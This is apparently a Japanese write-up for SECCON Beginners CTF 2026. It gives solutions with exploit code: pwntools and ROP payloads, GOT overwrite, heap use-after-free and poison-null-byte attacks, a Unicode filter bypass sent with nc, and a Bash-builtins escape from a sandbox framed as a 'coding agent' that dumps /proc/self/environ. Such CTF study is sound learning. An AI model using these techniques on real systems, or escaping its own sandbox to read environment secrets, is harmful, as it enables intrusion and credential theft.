# X ゲート2回 = 元に戻る
Solver
key = [0x51,0x75,0x61,0x6E,0x74,0x75,0x6D]  # "Quantum"
ct  = [0x32,0x01,0x07,0x5A,0x16,0x0E,0x25,0x34,
       0x19,0x0D,0x01,0x2B,0x24,0x18,0x30,0x1B,
       0x15,0x1B,0x19,0x2A,0x3A,0x3E,0x07,0x0D,
       0x0A,0x55,0x54,0x4C,0x2C]
print(''.join(chr(c ^ key[i % 7]) for i,c in enumerate(ct)))
# → ctf4b{Hello_Quantum_World!!!}
🦠

old-virus

AES-ECB + RC4 Reverse Decrypt
★★
問題文

ur flag g0t pwned by s0me 2000s-era h4x0r. BRB st34l1ng ur d4t4 lol. …s3r10usly tho, g3t 1t b4ck.
[NOTE]: This is not real malware, so you don’t have to worry about it doing anything bad to your computer 🙂
添付ファイル: old-virus.zip

TL;DRnot stripped な ELF。.rodata に AES・RC4 の鍵が平文格納。暗号化は AES→RC4 の順なので復号は RC4→AES の逆順。
FLAGctf4b{Y2K_n05t419ic_viru5_6ut_G2G}
アプローチと考え方

「2000 年代のハッカー」と「ウイルス」というフレーバーから、レトロな暗号化アルゴリズム(AES・RC4)の組み合わせを疑います。not stripped な ELF に対して strings コマンドを実行すると、バイナリ中に鍵文字列が平文で含まれていることが多いです。ここでも THISISNOTAESKEY!(AES-128 鍵)と RC4 鍵が発見できます。次に objdump -d で main 関数を逆アセンブルして暗号化の順序(AES→RC4)を確認し、復号は逆順(RC4→AES)で行います。

解析で判明したこと
  • strings old-virusTHISISNOTAESKEY! (AES-128 鍵, 16 bytes) と ImashyKey!Dontlookme!!! (RC4 鍵) が平文で存在
  • objdump -d の main: aes_ecb_encryptrc4fwriteunlink の順
暗号化 / 復号フロー
flag.txt
AES-128-ECB
THISISNOTAESKEY!
RC4
ImashyKey!…
flag.txt.hacked
flag.txt.hacked
RC4 復号
AES-128-ECB 復号
flag.txt ✓
復号コマンド
# Step 1: RC4 で戻す
python3 rc4_decrypt.py flag.txt.hacked mid.bin

# Step 2: AES-128-ECB で戻す (鍵を hex 変換)
# "THISISNOTAESKEY!" = 5448495349534e4f544145534b455921
openssl enc -aes-128-ecb -d -in mid.bin -out flag.txt \
  -K 5448495349534e4f544145534b455921
🔎

filter

eBPF tc filter Packet Trigger
★★★
問題文

あるイベントが発生するとフラグが表示されるみたい。
添付ファイル: filter.sh

TL;DRfilter.sh 末尾の base64 を展開すると eBPF オブジェクトが出現。lo の ingress に tc filter としてロードされ、特定パケットを受信すると bpf_trace_printk でフラグを出力する。
FLAGctf4b{ebpf_m4g1c_kn0ck}
アプローチと考え方

「あるイベントが発生するとフラグが表示される」というヒントから、特定の条件を満たしたときにフラグが出力されるトリガー型の問題です。filter.sh を読むと末尾に base64 エンコードされたデータがあり、展開すると ELF ファイル(eBPF オブジェクト)が出てきます。eBPF は Linux カーネルで動くサンドボックスプログラムで、ネットワークパケットを監視してフラグを出力できます。llvm-objdump で逆アセンブルし、発火条件(SYN パケットの window 値 + payload 先頭 5 バイト)を特定して scapy でパケットを送ります。

埋め込み eBPF の取り出し方
# filter.sh の末尾 base64 → zip → eBPF オブジェクト
tail -n 2 filter.sh | head -n 1 | base64 -d > /tmp/filter.zip
unzip -q /tmp/filter.zip -d /tmp/filter_ext
file /tmp/filter_ext/filter
# → ELF 64-bit LSB relocatable (eBPF オブジェクト)

# LLVM で逆アセンブル
llvm-objdump-21 -d --triple=bpfel /tmp/filter_ext/filter
eBPF ロジック (逆アセンブルより)
パケット条件①: IPv4/TCP, SYN=1, ACK=0, TCP window = 54321 (0xd431) → BPF map に宛先ポートを保存 パケット条件②: 同じ宛先ポートへ payload 先頭 5バイト = “ctf4b” → bpf_trace_printk(“%s\n”, フラグ文字列) を呼び出す
発火コマンド (scapy)
sudo bash filter.sh start
sudo cat /sys/kernel/debug/tracing/trace_pipe &

# 条件①: window=54321 の SYN
sudo python3 -c "
from scapy.all import *
send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='S',window=54321),iface='lo')
send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='PA')/Raw(b'ctf4b'),iface='lo')
"
# trace_pipe に ctf4b{ebpf_m4g1c_kn0ck} が出力される
💥 Pwnable

Pwnable — 6問

🔓

login

Stack Overflow Struct Corruption
★★
問題文

まずは手始めに admin を目指しましょう
nc login.beginners.seccon.games 9080
添付ファイル: main.c, chall

TL;DRfgets の第2引数が sizeof(username) ではなく sizeof(struct user)。16バイトの username バッファを超えて隣の is_admin フィールドに書き込める。
FLAGctf4b{l0g1n_r00t_us4r!}
アプローチと考え方

「admin を目指す」という問題文から、認証バイパスが目標です。C のソースコード main.c を読むと struct userusername[16]is_admin フィールドがあります。fgets のバッファサイズに sizeof(struct user)(= 20 バイト)が指定されているため、16 バイトの username バッファを超えて隣の is_admin フィールドに書き込める典型的なスタックオーバーフローです。16 バイトの ‘A’ + \x01\n を送ると is_admin = 1 になり admin 権限が得られます。

struct のメモリレイアウト
struct user { スタック上のレイアウト: char username[0x10]; ┌─────────────────────────────┐ offset 0 int is_admin; │ username (16 bytes) │ }; ├─────────────────────────────┤ offset 16 │ is_admin (4 bytes) │ ← ここに書き込む └─────────────────────────────┘ fgets(username, sizeof(struct user), stdin); ↑ 20バイト読める!でも username は16バイト → overflow
ペイロードの動作
fgets 後のメモリ
username: b'A'*16
is_admin: \x01\x0a\x00\x00
          ↑    ↑ strcspn が '\n' を
         書き込まれた  '\0' に置換
         → is_admin = 0x00000001 ✓
Exploit
from pwn import *
r = remote('login.beginners.seccon.games', 9080)
r.recvuntil(b'Input username: ')
r.send(b'A'*16 + b'\x01\n')
r.sendline(b'cat /home/pwn/flag.txt')
print(r.recv(4096).decode())
🐉

defeat_monster

Use-After-Free Heap Overlap
★★
問題文

ボスは防御力が高そうですが、攻撃できますか?
nc monster.beginners.seccon.games 9081
添付ファイル: monster.zip

TL;DRmonster と boss は同じサイズ (40 bytes) の構造体。monster を free 後に boss を malloc すると同じチャンクに配置される (UAF)。rename_monster で boss の defense を上書き → battle で win()。
FLAGctf4b{...} (win() 後シェルで取得)
アプローチと考え方

「ボスの防御力が高い」というヒントから、ゲームのロジックを迂回する必要があります。ヒープを使うバイナリでは Use-After-Free を疑うのが定石です。monster と boss が同じサイズ(40 バイト)の構造体であれば、monster を free 後に boss を malloc すると同じヒープチャンクに配置されます。my_monster ポインタはまだ生きているため、rename_monster でそのポインタ経由で boss 構造体の defense フィールドを上書きできます。defense を小さくすれば bounty > defense が成立し win() が呼ばれます。

チャンクレイアウト (boss 割り当て後)
my_monster ポインタ → [boss 構造体 (同じチャンク)] boss のオフセット: +0x00..0x0f : name (16 bytes) +0x10..0x17 : hp (8 bytes) +0x18..0x1f : defense (8 bytes) ← rename_monster で上書き! +0x20..0x27 : bounty (8 bytes) = 1337 rename_monster は my_monster->name に 32 bytes 書き込む → offset 0x18 (= 24バイト目) から 8 bytes が defense を上書き
攻撃手順
1
capture_monster で monster を malloc → release_monster で free (UAF 準備)
2
check_boss で boss を malloc → 同じチャンクに配置
3
rename_monster で b"A"*24 + p64(10) を送信 → boss.defense = 10
4
battle: bounty(1337) > defense(10) → win() → /bin/sh
⛓️

rop4b

ROP Chain Stack Overflow
★★
問題文

ROP で /flag.txt を読み出してみましょう!
nc rop4b.beginners.seccon.games 9082
添付ファイル: rop4b.zip

TL;DR64 バイトバッファに 200 バイト読む古典的スタック overflow。non-PIE なので固定アドレス。pop rdi; ret + read_file("/flag.txt") の 2-gadget ROP で解決。
FLAGctf4b{...} (read_file の出力で取得)
アプローチと考え方

「ROP で読み出す」という問題文から ROP Chain が必要なことは明確です。まず checksec でセキュリティ機能を確認します(NX 有効、PIE 無効)。PIE 無効なので関数・gadget のアドレスが固定です。ROPgadget --binary chall で利用可能な gadget を探し、pop rdi; ret があれば第 1 引数を設定して関数を呼び出せます。バッファサイズを確認すると 64 バイトバッファに 200 バイト読むため、64 + 8(saved rbp)= 72 バイトのパディング後に ROP チェーンを配置します。

固定アドレス (non-PIE)
pop_rdi_ret = 0x4011f6   # gadget: pop rdi; ret
read_file   = 0x4011ff   # read_file(path) → ファイルを開いて puts
flag_path   = 0x402008   # 文字列 "/flag.txt"
ROP チェーン
スタックレイアウト (リターン後): offset 0 ~ 71 : b’A’ * 72 (buf 64 + saved rbp 8) offset 72 ~ 79 : pop_rdi_ret (0x4011f6) ← rdi = 次の値 offset 80 ~ 87 : flag_path (0x402008) ← “/flag.txt” offset 88 ~ 95 : read_file (0x4011ff) ← フラグを表示
Exploit
from struct import pack
payload  = b'A' * 72
payload += pack('<Q', 0x4011f6)  # pop rdi; ret
payload += pack('<Q', 0x402008)  # "/flag.txt"
payload += pack('<Q', 0x4011ff)  # read_file
🏆

scoreboard

GOT Overwrite Canary Bypass Negative Index
★★★
問題文

たくさんスコアが保存できそうです
nc scoreboard.beginners.seccon.games 9090
添付ファイル: scoreboard.zip

TL;DRrank の下限チェックがないため負インデックスで GOT を書き換え可能。① __stack_chk_fail@GOT → main にしてプログラムを「リセット」できるようにする ② strtol@GOT → system@plt に書き換えて次の rank 入力をシェルコマンドとして実行。
FLAGctf4b{c4n4Ry_g0T_0v3rwr1t3!!}
アプローチと考え方

「たくさんスコアが保存できそう」から、スコアを格納する配列の境界チェックを疑います。rank の下限チェックがない場合、負インデックスで配列外(GOT 領域)に書き込める可能性があります。GOT Overwrite の定石手順は、① まずスタックカナリー失敗ハンドラを main に書き換えてプログラムをリセット可能にし、② strtol@GOTsystem のアドレスに上書きして、③ 次の rank 入力がシェルコマンドとして実行される状態を作ることです。

offset 計算
scores = 0x4040a0
書き込み先 = scores + rank * 8

__stack_chk_fail@GOT (0x404008): rank = (0x404008 - 0x4040a0) / 8 = -19
strtol@GOT           (0x404030): rank = (0x404030 - 0x4040a0) / 8 = -14
3段階攻撃
1
rank=-19, score=0x401550(main)__stack_chk_fail@GOTmain に上書き。feedback で canary を壊すと main へリセット
2
rank=-14, score=0x4010e0(system@plt)strtol@GOTsystem に上書き。canary で再び main へ
3
次の rank 入力で strtol(buf, ...) → system(buf) が実行される → cat /app/flag-*.txt と入力してフラグ
📋

backlog

Off-by-One Poison Null Byte tcache Manipulation
★★★
問題文

バックログを確認してください
nc backlog.beginners.seccon.games 9091
添付ファイル: backlog.zip

TL;DRread(fd, buf, size) が丁度 size バイト読むと buf[size] = '\0' が隣チャンクの size フィールドの下位バイトを NUL で上書きする。これで prev_inuse ビットを落として偽の前方結合を起こし、生きているノートと job 構造体をヒープ上で重ねる。
FLAGctf4b{1by73_0v3rfl0w!}
アプローチと考え方

ノートと job を管理するヒープベースの C プログラムです。read(fd, buf, size) の後に buf[n] = '\0' があるとき、n == size なら buf[size](1 バイト外)に NUL が書かれる Off-by-One 脆弱性があります。これを利用して隣のヒープチャンクの prev_inuse ビットを落とし(Poison Null Byte)、偽の前方結合を発生させます。生きたノートポインタが job 構造体と重なるため、ノート書き込みで job.commandjob.token を上書きし、認証を通過して任意コマンドを実行します。

Off-by-One の発生箇所
static void read_note_data(char *buf, size_t size) {
    n = read(STDIN_FILENO, buf, size);   // size バイト読む
    buf[n] = '\0';                       // n == size なら buf[size] = 0 → 1byte overflow!
}
攻撃フロー (Poison Null Byte + Heap Overlap)
1
size=0xf8 の note B・note C (guard) を作成。show(B) でヒープアドレスをリーク
2
tcache[0x100] を 7 個で満杯にし、通常の consolidation パスを通るようにする
3
note B に偽 free chunk (fd=bk=B chunk addr, C.prev_size=0x100) を書き込み、off-by-one NUL で C の prev_inuse=0
4
note C を free → malloc が前方結合 → B+C 領域が 1 つの free chunk に。B は生きたポインタのまま
5
note(0x80) + job を malloc → B と重なる → note 書き込みで job.commandjob.token = APPROVAL_TOKEN を上書き
6
run_job → system("cat /app/flag.txt")
⚙️

workflow_oriented

Heap Overflow Computed Goto Path Traversal
★★★
問題文

退屈なファイル処理を自動化するために workflow を作りました。
nc workflow.beginners.seccon.games 9095
添付ファイル: workflow.zip

TL;DRshrink_memo()write_limit を更新しないため、縮小後の memo から workflow 構造体へのヒープ overflow が可能。偽の computed goto テーブルを仕込み、READ_INPUT 後に output_size = bytes_read を実行する内部ラベルへ誘導してフラグを表示させる。
FLAGctf4b{Jump_t0_th3_neXt_Step}
アプローチと考え方

「ファイル処理を自動化する workflow」から、ファイル読み書きとステップ実行の仕組みを持つプログラムです。shrink 操作後に write_limit が更新されないというバグを探します。これにより縮小済み memo から隣の workflow 構造体へヒープオーバーフローができます。次に computed goto(GCC の label-as-value)のテーブルを偽造して任意のコードパスへ誘導する方法を考えます。Path Traversal(docs/../../flag.txt)と組み合わせて flag ファイルを読み出します。

2つの脆弱性
脆弱性① shrink_memo の write_limit 未更新size 0x180 で作った memo を 0x18 に shrink しても write_limit は 0x180 のまま。rewrite_memo() で隣の workflow 構造体まで書き込める。
脆弱性② READ_INPUT が output_size をゼロにする通常の OPEN→READ→PUBLISH フローでは READ_INPUT 直後に output_size=0 が実行されて PUBLISH_OUTPUT でフラグが表示されない。しかし computed goto テーブルを偽造して 0x401b78 (output_size = bytes_read) へ飛ぶ偽ステップを挟むことで回避できる。
攻撃フロー
1
memo size=0x180 作成 → 0x18 に shrink → inspect でヒープアドレスリーク
2
workflow を open → memo の直後に配置
3
rewrite_memo で偽 catalog・偽 action table・偽 steps・パス docs/../../flag.txt を書き込む
4
偽 steps: OPEN_INPUT → READ_INPUT → 0x401b78 → PUBLISH_OUTPUT → FINISH
Path Traversalstrncmp(input_path, "docs/", 5)docs/../../flag.txt で通過。/app/docs/../../flag.txt = /flag.txt
🎲 Misc

Misc — 4問

🎋

omikuji

Predictable PRNG
★★
問題文

名前を入れておみくじを引きましょう。結果を全部当てられますか?
nc omikuji.beginners.seccon.games 33457
添付ファイル: omikuji.zip

TL;DRサービスは random.seed(name) で乱数列を初期化してから5回の乱数を当てさせる。Python の random は決定論的なので、同じ名前を使えばローカルで事前計算できる。
FLAGctf4b{0m1kuj1_15_d373rm1n15t1c}
アプローチと考え方

「全部当てられますか?」という挑戦から、乱数の予測が必要です。Python の random モジュールはメルセンヌ・ツイスタによる擬似乱数で、シードが同じなら必ず同じ数列を生成します。ソースを読むと random.seed(name) でユーザーが入力した名前をシードにしていることがわかります。同じ名前をローカルの Python インタープリタに渡して 5 回分の乱数を事前計算し、サービスに順番に送るだけでフラグが得られます。

問題の核心
サービス側 (main.py)
random.seed(name)   # ← 外部入力がシード
for _ in range(5):
    x = random.randint(1, 1000000)
攻撃側 (事前計算)
rng = random.Random()
rng.seed("attacker")
for _ in range(5):
    print(rng.randint(1,1000000))

名前 "attacker" での事前計算結果: [736736, 383342, 633722, 438357, 503623]。これをサービスに順番に送るだけ。

対策外部入力をシードに直接使わない。os.urandomsecrets モジュールを使う。
👁️

viewer

Unicode NFKC Filter Bypass
★★
問題文

表示できるファイルを選んでください。
nc viewer.beginners.seccon.games 33458
添付ファイル: viewer.zip

TL;DR入力に “flag” が含まれるかチェックする部分が「正規化前」の文字列を見ている。全角文字 flag は NFKC 正規化で flag になるが、正規化前には ASCII の “flag” が含まれない。
FLAGctf4b{un1C0dE_N0rMal12a710n_15_7r1CKy}
アプローチと考え方

「表示できるファイルを選ぶ」から、許可されたファイルリストの検証バイパスが目標です。ソースを読むと入力に “flag” が含まれるかチェックした後、Unicode 正規化(NFKC)を経てファイル名を解決しています。正規化前にチェックしているため、全角文字 flag(U+FF46 等)を使うと “flag” チェックをすり抜け、正規化後は “flag” になって許可されたファイルと一致します。これは「検証後に変換する」という TOCTOU 類似のパターンです。

問題のコードフロー
def main():
    filename = input(...)

    # ① 正規化 "前" に "flag" チェック
    if "flag" in filename:
        print("blocked"); return

    # ② 正規化 "後" に ALLOWED_FILES と照合
    resolved = resolve_path(filename)
    # resolve_path 内で unicodedata.normalize("NFKC", filename) が実行される
Unicode の性質
全角文字: f(U+FF46) l(U+FF4C) a(U+FF41) g(U+FF47) ↓ NFKC 正規化 半角ASCII: f l a g 入力 “flag.txt” の検査: ① “flag” in “flag.txt” → False (通過!) ② normalize → “flag.txt” → ALLOWED_FILES に一致 → ファイル表示
攻撃 (1行)
# 全角文字の UTF-8 バイト列を直接送信してフィルターをバイパス
# f=\xef\xbd\x86  l=\xef\xbd\x8c  a=\xef\xbd\x81  g=\xef\xbd\x87
echo -e '\xef\xbd\x86\xef\xbd\x8c\xef\xbd\x81\xef\xbd\x87.txt' | nc viewer.beginners.seccon.games 33458
教訓入力検証は必ず正規化後に行うこと。「正規化前 → ブロック判定 → 正規化後 → 使用」という流れは TOCTOU と同様の問題。
📄

Homework

PDF Steganography ZIP in PDF
★★
問題文

My teacher told me to do this assignment. I’d like to use AI to make it easier, but I have a feeling there’s something hidden here…
添付ファイル: Homework.pdf

TL;DRPDF の末尾に ZIP が埋め込まれている。PDF に書かれているフラグはデコイ。PK シグネチャを探して切り出し、ZIP 内の FLAG.txt を展開する。
FLAGctf4b{Im_914d_y0u_f0und_thi5_f149}
アプローチと考え方

「何か隠れているような気がする」というヒントからステガノグラフィを疑います。PDF ファイルのメタデータや構造を確認する際、ファイル末尾への追記データ(appended data)は見落とされやすい隠し場所です。strings や hex エディタで PDF を確認すると %%EOF の後に PK\x03\x04(ZIP シグネチャ)が見つかります。PDF には「付加データを調べるな」という文言があり、これが逆説的なヒントになっています。ZIP を切り出して展開すると本物のフラグが入った FLAG.txt が出てきます。

デコイ注意PDF テキストには ctf4b{THIS_IS_NOT_FLAG_ai_w0nt_s4ve_y0u_h3r3_try_h4rd3r} が書かれているが偽物。むしろ「付加データを調べるな」という文言が逆に怪しいヒント。
PDF の構造
Homework.pdf: [PDF ヘッダ … %%EOF …] [PK\x03\x04 … ZIP データ … FLAG.txt … PK\x05\x06] ↑ offset 2890 付近から始まる hidden ZIP
解法コマンド
# ZIP シグネチャのオフセットを探す
grep -aob $'\x50\x4b\x03\x04' Homework.pdf
# → 例: 2890:PK...

# 埋め込み ZIP を切り出す
dd if=Homework.pdf of=/tmp/hidden.zip bs=1 skip=2890

# 中身を確認
unzip -l /tmp/hidden.zip   # → FLAG.txt

# フラグを取得
unzip -p /tmp/hidden.zip FLAG.txt
🌿

greenroom

Bash Builtins Sandbox Escape /proc
★★
問題文

あなたはコーディングエージェントです! 制約を回避して環境変数を読んでください!
nc greenroom.beginners.seccon.games 46777
添付ファイル: greenroom.zip

TL;DR外部コマンド (cat, env, strings…) が全禁止の制限 Bash 環境。フラグは環境変数のキー名として注入されているため $FLAG で読めない。Bash 組み込みの read -d $'\0'/proc/self/environ を NUL 区切りで読み出す。
FLAGctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}
アプローチと考え方

「コーディングエージェント」として制限された Bash 環境で動作します。catenvstrings などの外部コマンドが全て禁止されているため、Bash 組み込みコマンドだけで環境変数を列挙する必要があります。通常は $FLAG で読めますが、フラグが環境変数のキー名として注入されているため変数参照では取得できません。/proc/self/environ は NUL 区切りで全環境変数を格納しており、read -d $'\0' という Bash 組み込みオプションで NUL を区切り文字として読み出せます。

なぜ $FLAG では読めないのか
# サーバー側の環境変数注入
child_env[FLAG_VALUE] = "x"
# → ctf4b{b45h...} が環境変数のキー名になっている!
# $FLAG では参照できない → 全環境変数を列挙する必要がある
攻撃コマンド (1行、Bash 組み込みのみ使用)
while IFS= read -r -d $'\0' line; do echo "$line"; done < /proc/self/environ
コマンド解説
  • /proc/self/environ: プロセスの環境変数を NUL (\0) 区切りで列挙する特殊ファイル
  • read -d $'\0': NUL を区切り文字として使う Bash 組み込みオプション (外部コマンド不要)
  • IFS=: 行全体を保持 (スペース等でフィールド分割しない)
出力例
PATH=/app/bin
HOME=/tmp
AGENT=greenroom
MODE=sandbox
ctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}=x
↑ キー名がフラグ!
対策外部コマンドの名前ブロックだけでは不十分。/proc 等特殊ファイルへのアクセス自体を制限 (chroot/seccomp) するか、環境変数をキー名として注入する設計をやめる。

SECCON Beginners CTF 2026 Writeup — 2026.06.13

24 / 24 flags obtained 🎉